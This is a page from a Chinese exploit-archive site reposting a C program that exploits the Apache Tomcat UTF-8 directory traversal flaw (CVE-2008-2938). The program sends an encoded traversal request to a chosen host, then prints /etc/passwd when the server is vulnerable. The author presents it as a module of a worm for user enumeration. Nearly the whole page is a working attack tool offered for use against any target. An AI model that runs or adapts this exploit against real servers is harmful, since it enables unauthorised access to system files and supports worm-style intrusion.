首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Apache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability
来源:vfocus.net 作者:mywisdom 发布时间:2010-07-29  

/*Apache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit
c0d3r: mywisdom
thanks for not being lame to change exploit author
tis is one of my linux w0rm module for user enumerations, i've dual os worm
thanks to: gunslinger,flyf666,petimati,kiddies,xtr0nic,c0mrade,n0te,v3n0m,iblis muda,cr4wl3r
thanks to: isa m said, whitecyber
thanks to all devilzc0de crews and members, all jasakom crews and members
    * EDB-ID: 6229
    * CVE: 2008-2938
    * OSVDB-ID: 47464
    * Author: Simon Ryeo
    * Published: 2008-08-11
    * Verified: Verified
greetz to inj3ct0r crews:
31337 Inj3ct0r Members:

cr4wl3r, The_Exploited, eidelweiss, SeeMe, XroGuE, agix, gunslinger_, Sn!pEr.S!Te, indoushka,

Sid3^effects, L0rd CrusAd3r, Th3 RDX, r45c4l, Napst3r?, etc..
not so good but worth to try if our target directory structure has /usr/local/wwwroot

*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <string.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#define EXPLOIT "GET /%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd HTTP/1.0\n\n"
#define RCVBUFSIZE 9999 
#define tester "root:x"  
void cls()
 {
 char esc = 27;
 printf("%c%s",esc,"[2J");
 printf("%c%s",esc,"[1;1H");
 }
int main(int argc,char **argv)
{
if(argc<2)
  {
   /**checking argument to avoid memory wasting for useless variables in vma**/
   cls();
   printf("\nApache Tomcat < 6.0.18 UTF8 Directory Traversal Vulnerability get /etc/passwd Exploit\n");
   printf("\nc0d3r: mywisdom\n");    
   printf("\nusage:./tomcatevil hotname\n");
   exit(1);
  }
else
 {
 
 int port=80;
 char echobuf[RCVBUFSIZE];
 int rval,sockfd, bytesrcv, totalbytes;
 struct hostent *he;
 struct sockaddr_in their_addr;
 if((he=gethostbyname(argv[1])) == NULL)
  {
   perror("\nSorry please recheck your target hostname !\n");
   exit(1);
  }
  else
  {
   if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
     perror("socket()");
     exit(1);
    }
    else
    {
        //exploiting and try to get /etc/passwd
  their_addr.sin_family = AF_INET;

 printf("\n[-]Checking whether port %d opens or not\n",port);
 their_addr.sin_port = htons(port);
 their_addr.sin_addr = *((struct in_addr *)he->h_addr);
 memset(&(their_addr.sin_zero), '\0', 8);
 if(connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1)
  {
  perror("failed to connect !!!");
 
  }
 else
 {
 printf("\n[+]Port 80 opens !!! now sending your exploit to our target\n");
 if(send(sockfd, EXPLOIT,999,0)==-1)
   {
 perror ("send");
   }
 else
   {
       totalbytes=0;
       while (totalbytes < RCVBUFSIZE)
        {
      
        if ((bytesrcv = recv(sockfd, echobuf, RCVBUFSIZE - 1, 0)) <= 0)
            {

            }
            else
            { 
              totalbytes += bytesrcv; 
              echobuf[bytesrcv] = '\0';  
              
            }
           totalbytes++;
        }
   
 
   }

   if(echobuf)
       {
       
        rval=strstr (echobuf, tester);
          if(rval)
             {
            printf(echobuf);
            printf("\n[+]w00t!!! target vulnerable! exploitation success u may see /etc/passwd above !!!\n");
            exit(1);
             }
             else
            {
            printf(echobuf);
            printf("\n[-]target not vulnerable !!!\n");
            exit(1);
            }
       }

 }
 close(sockfd);

 

       //eof exploiting

    }
   }

 }


}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Zemana AntiLogger AntiLog32.sy
·Symantec AMS Intel Alert Handl
·UPlusFTP Server v1.7.1.01 [ HT
·Zemana AntiLogger AntiLog32.sy
·Microsoft Visual Studio 6.0 (V
·WM Downloader 3.1.2.2 2010.04.
·IE6 / 7 Remote Dos vulnerabili
·HTML Email Creator 2.42 build
·PunBB <= 1.3.4 and Pun_PM <= v
·BarCodeWiz BarCode ActiveX 3.2
·QQPlayer smi File Buffer Overf
·BarCodeWiz Barcode ActiveX Con
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved